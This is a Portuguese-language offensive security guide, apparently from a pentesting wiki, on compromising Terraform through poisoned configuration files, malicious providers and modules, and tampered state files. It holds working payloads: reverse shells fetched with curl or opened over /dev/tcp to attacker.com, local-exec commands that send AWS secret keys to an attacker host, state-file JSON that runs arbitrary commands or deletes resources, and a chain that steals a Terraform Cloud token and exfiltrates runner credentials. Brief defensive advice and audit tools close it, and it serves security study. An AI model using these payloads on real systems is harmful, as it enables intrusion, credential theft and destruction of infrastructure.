Segurança do Terraform

Reading time: 17 minutes

Informações Básicas

Dos documentos:

HashiCorp Terraform é uma ferramenta de infraestrutura como código que permite definir tanto recursos em nuvem quanto locais em arquivos de configuração legíveis por humanos que você pode versionar, reutilizar e compartilhar. Você pode então usar um fluxo de trabalho consistente para provisionar e gerenciar toda a sua infraestrutura ao longo de seu ciclo de vida. O Terraform pode gerenciar componentes de baixo nível, como computação, armazenamento e recursos de rede, bem como componentes de alto nível, como entradas DNS e recursos SaaS.

Como o Terraform funciona?

O Terraform cria e gerencia recursos em plataformas de nuvem e outros serviços por meio de suas interfaces de programação de aplicativos (APIs). Os provedores permitem que o Terraform funcione com praticamente qualquer plataforma ou serviço com uma API acessível.

A HashiCorp e a comunidade do Terraform já escreveram mais de 1700 provedores para gerenciar milhares de tipos diferentes de recursos e serviços, e esse número continua a crescer. Você pode encontrar todos os provedores disponíveis publicamente no Terraform Registry, incluindo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog e muitos mais.

O fluxo de trabalho central do Terraform consiste em três etapas:

• Escrever: Você define recursos, que podem estar em vários provedores de nuvem e serviços. Por exemplo, você pode criar uma configuração para implantar um aplicativo em máquinas virtuais em uma rede de Nuvem Privada Virtual (VPC) com grupos de segurança e um balanceador de carga.
• Planejar: O Terraform cria um plano de execução descrevendo a infraestrutura que criará, atualizará ou destruirá com base na infraestrutura existente e em sua configuração.
• Aplicar: Após a aprovação, o Terraform executa as operações propostas na ordem correta, respeitando quaisquer dependências de recursos. Por exemplo, se você atualizar as propriedades de uma VPC e mudar o número de máquinas virtuais nessa VPC, o Terraform recriará a VPC antes de escalar as máquinas virtuais.

Laboratório Terraform

Basta instalar o terraform no seu computador.

Aqui você tem um guia e aqui você tem a melhor maneira de baixar o terraform.

RCE no Terraform: envenenamento de arquivo de configuração

O Terraform não possui uma plataforma que exponha uma página da web ou um serviço de rede que possamos enumerar, portanto, a única maneira de comprometer o terraform é ser capaz de adicionar/modificar arquivos de configuração do terraform ou ser capaz de modificar o arquivo de estado do terraform (veja o capítulo abaixo).

No entanto, o terraform é um componente muito sensível a comprometer porque terá acesso privilegiado a diferentes locais para que possa funcionar corretamente.

A principal maneira de um atacante conseguir comprometer o sistema onde o terraform está sendo executado é comprometer o repositório que armazena as configurações do terraform, porque em algum momento elas serão interpretadas.

Na verdade, existem soluções que executam terraform plan/apply automaticamente após um PR ser criado, como Atlantis:

Atlantis Security

Se você conseguir comprometer um arquivo terraform, existem diferentes maneiras de realizar RCE quando alguém executa terraform plan ou terraform apply.

Terraform plan

O terraform plan é o comando mais utilizado no terraform e desenvolvedores/soluções que usam terraform o chamam o tempo todo, então a maneira mais fácil de obter RCE é garantir que você envenene um arquivo de configuração do terraform que executará comandos arbitrários em um terraform plan.

Usando um provedor externo

O Terraform oferece o external provider que fornece uma maneira de interagir entre o Terraform e programas externos. Você pode usar a fonte de dados external para executar código arbitrário durante um plan.

Injetar em um arquivo de configuração do terraform algo como o seguinte executará um rev shell ao executar terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Usando um provedor personalizado

Um atacante poderia enviar um custom provider para o Terraform Registry e então adicioná-lo ao código Terraform em um branch de recurso (exemplo daqui):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

O provedor é baixado no init e executará o código malicioso quando plan for executado.

Você pode encontrar um exemplo em https://github.com/rung/terraform-provider-cmdexec

Usando uma referência externa

Ambas as opções mencionadas são úteis, mas não muito discretas (a segunda é mais discreta, mas mais complexa do que a primeira). Você pode realizar este ataque de uma maneira mais discreta, seguindo estas sugestões:

• Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode carregar um recurso externo que contém o rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Você pode encontrar o código rev shell em https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• No recurso externo, use o recurso ref para ocultar o código rev shell do terraform em um branch dentro do repositório, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

O Terraform apply será executado para aplicar todas as mudanças, você também pode abusar disso para obter RCE injetando um arquivo Terraform malicioso com local-exec.
Você só precisa garantir que algum payload como os seguintes termine no arquivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Siga as sugestões da técnica anterior para realizar este ataque de uma maneira mais furtiva usando referências externas.

Dumps de Segredos

Você pode ter valores secretos usados pelo terraform despejados executando terraform apply ao adicionar ao arquivo terraform algo como:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Abusando de Arquivos de Estado do Terraform

Caso você tenha acesso de escrita sobre os arquivos de estado do terraform, mas não possa alterar o código do terraform, esta pesquisa oferece algumas opções interessantes para aproveitar o arquivo. Mesmo que você tenha acesso de escrita sobre os arquivos de configuração, usar o vetor de arquivos de estado é muitas vezes muito mais sorrateiro, já que você não deixa rastros no histórico do git.

RCE no Terraform: envenenamento de arquivo de configuração

É possível criar um provedor personalizado e simplesmente substituir um dos provedores no arquivo de estado do terraform pelo malicioso ou adicionar um recurso falso referenciando o provedor malicioso.

O provedor statefile-rce se baseia na pesquisa e arma esse princípio. Você pode adicionar um recurso falso e declarar o comando bash arbitrário que deseja executar no atributo command. Quando a execução do terraform é acionada, isso será lido e executado tanto nos passos terraform plan quanto terraform apply. No caso do passo terraform apply, o terraform irá deletar o recurso falso do arquivo de estado após executar seu comando, limpando após si mesmo. Mais informações e uma demonstração completa podem ser encontradas no repositório do GitHub que hospeda o código-fonte para este provedor.

Para usá-lo diretamente, basta incluir o seguinte em qualquer posição do array resources e personalizar os atributos name e command:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Então, assim que terraform for executado, seu código será executado.

Deletando recursos

Existem 2 maneiras de destruir recursos:

1. Inserir um recurso com um nome aleatório no arquivo de estado apontando para o recurso real a ser destruído

Porque o terraform verá que o recurso não deveria existir, ele o destruirá (seguindo o ID do recurso real indicado). Exemplo da página anterior:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},

2. Modifique o recurso para excluir de uma maneira que não seja possível atualizar (para que ele seja excluído e recriado)

Para uma instância EC2, modificar o tipo da instância é suficiente para fazer o terraform excluir e recriá-la.

Substituir provedor na lista negra

Caso você encontre uma situação onde hashicorp/external foi colocado na lista negra, você pode reimplementar o provedor external fazendo o seguinte. Nota: Usamos um fork do provedor external publicado por https://registry.terraform.io/providers/nazarewk/external/latest. Você também pode publicar seu próprio fork ou reimplementação.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Então você pode usar external como de costume.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE e exfiltração de credenciais

Este cenário explora os runners do Terraform Cloud (TFC) durante planos especulativos para pivotar na conta de nuvem alvo.

• Pré-condições:

• Roubar um token do Terraform Cloud de uma máquina de desenvolvedor. O CLI armazena tokens em texto simples em ~/.terraform.d/credentials.tfrc.json.

• O token deve ter acesso à organização/workspace alvo e pelo menos a permissão plan. Workspaces suportados por VCS bloqueiam apply do CLI, mas ainda permitem planos especulativos.

• Descobrir configurações de workspace e VCS via a API do TFC:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq

• Acionar a execução de código durante um plano especulativo usando a fonte de dados externa e o bloco "cloud" do Terraform Cloud para direcionar o workspace baseado em VCS:

terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Exemplo de rsync.sh para obter um shell reverso no runner TFC:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Execute um plano especulativo para executar o programa no runner efêmero:

terraform init
terraform plan

• Enumere e exfiltre credenciais de nuvem injetadas do runner. Durante as execuções, o TFC injeta credenciais de provedor por meio de arquivos e variáveis de ambiente:

env | grep -i gcp || true
env | grep -i aws || true

Arquivos esperados no diretório de trabalho do runner:

• GCP:

• tfc-google-application-credentials (configuração JSON de Federação de Identidade de Carga de Trabalho)

• tfc-gcp-token (token de acesso GCP de curta duração)

• AWS:

• tfc-aws-shared-config (configuração de suposição de função de identidade web/OIDC)

• tfc-aws-token (token de curta duração; algumas organizações podem usar chaves estáticas)

• Use as credenciais de curta duração fora de banda para contornar os portões do VCS:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Com essas credenciais, os atacantes podem criar/modificar/destruir recursos diretamente usando CLIs nativas, contornando fluxos de trabalho baseados em PR que bloqueiam apply via VCS.

• Orientações defensivas:
• Aplique o princípio do menor privilégio a usuários/equipes e tokens do TFC. Audite as associações e evite proprietários excessivos.
• Restringa a permissão de plan em workspaces sensíveis suportados por VCS, quando viável.
• Aplique listas de permissão de provedores/fontes de dados com políticas do Sentinel para bloquear data "external" ou provedores desconhecidos. Veja a orientação da HashiCorp sobre filtragem de provedores.
• Prefira OIDC/WIF em vez de credenciais de nuvem estáticas; trate runners como sensíveis. Monitore execuções de planos especulativos e egressos inesperados.
• Detecte a exfiltração de artefatos de credenciais tfc-* e alerte sobre o uso suspeito de programas external durante os planos.

Ferramentas de Auditoria Automática

Snyk Infrastructure as Code (IaC)

Snyk oferece uma solução abrangente de escaneamento de Infrastructure as Code (IaC) que detecta vulnerabilidades e configurações incorretas em Terraform, CloudFormation, Kubernetes e outros formatos de IaC.

• Recursos:
• Escaneamento em tempo real para vulnerabilidades de segurança e problemas de conformidade.
• Integração com sistemas de controle de versão (GitHub, GitLab, Bitbucket).
• Pull requests de correção automatizadas.
• Conselhos detalhados de remediação.
• Inscreva-se: Crie uma conta em Snyk.

brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov é uma ferramenta de análise de código estático para infraestrutura como código (IaC) e também uma ferramenta de análise de composição de software (SCA) para imagens e pacotes de código aberto.

Ela escaneia a infraestrutura em nuvem provisionada usando Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates ou OpenTofu e detecta configurações incorretas de segurança e conformidade usando escaneamento baseado em grafo.

Ela realiza Software Composition Analysis (SCA) scanning, que é uma varredura de pacotes e imagens de código aberto para Vulnerabilidades e Exposições Comuns (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

Do docs: terraform-compliance é um framework de teste leve, focado em segurança e conformidade, contra terraform para habilitar a capacidade de teste negativo para sua infraestrutura como código.

• conformidade: Garantir que o código implementado esteja seguindo padrões de segurança, seus próprios padrões personalizados
• desenvolvimento orientado a comportamento: Temos BDD para quase tudo, por que não para IaC?
• portátil: basta instalá-lo via pip ou executá-lo através do docker. Veja Instalação
• pré-implantação: valida seu código antes de ser implantado
• fácil de integrar: pode ser executado em seu pipeline (ou em ganchos git) para garantir que todas as implantações sejam validadas.
• segregação de deveres: você pode manter seus testes em um repositório diferente onde uma equipe separada é responsável.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Do docs: tfsec usa análise estática do seu código terraform para identificar possíveis configurações incorretas.

• ☁️ Verifica configurações incorretas em todos os principais (e alguns menores) provedores de nuvem
• ⛔ Centenas de regras integradas
• 🪆 Escaneia módulos (locais e remotos)
• ➕ Avalia expressões HCL, bem como valores literais
• ↪️ Avalia funções Terraform, por exemplo, concat()
• 🔗 Avalia relacionamentos entre recursos Terraform
• 🧰 Compatível com o Terraform CDK
• 🙅 Aplica (e embeleza) políticas Rego definidas pelo usuário
• 📃 Suporta múltiplos formatos de saída: lovely (padrão), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif.
• 🛠️ Configurável (via flags de CLI e/ou arquivo de configuração)
• ⚡ Muito rápido, capaz de escanear rapidamente grandes repositórios

brew install tfsec
tfsec /path/to/folder

KICKS

Encontre vulnerabilidades de segurança, problemas de conformidade e configurações incorretas de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com KICS da Checkmarx.

KICS significa Keeping Infrastructure as Code Secure, é de código aberto e é indispensável para qualquer projeto nativo da nuvem.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Do docs: Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você:

• Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas.
• Monitore a infraestrutura em nuvem provisionada para mudanças de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
• Detecte vulnerabilidades de segurança e violações de conformidade.
• Mitigue riscos antes de provisionar infraestrutura nativa em nuvem.
• Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD.

brew install terrascan

Referências

• Atlantis Security
• https://alex.kaskaso.li/post/terraform-plan-rce
• https://developer.hashicorp.com/terraform/intro
• https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
• https://github.com/offensive-actions/terraform-provider-statefile-rce
• Terraform Cloud token abuse turns speculative plan into remote code execution
• Terraform Cloud permissions
• Terraform Cloud API – Show workspace
• AWS provider configuration
• AWS CLI – OIDC role assumption
• GCP provider – Using Terraform Cloud
• Terraform – Sensitive variables
• Snyk Labs – Gitflops: dangers of Terraform automation platforms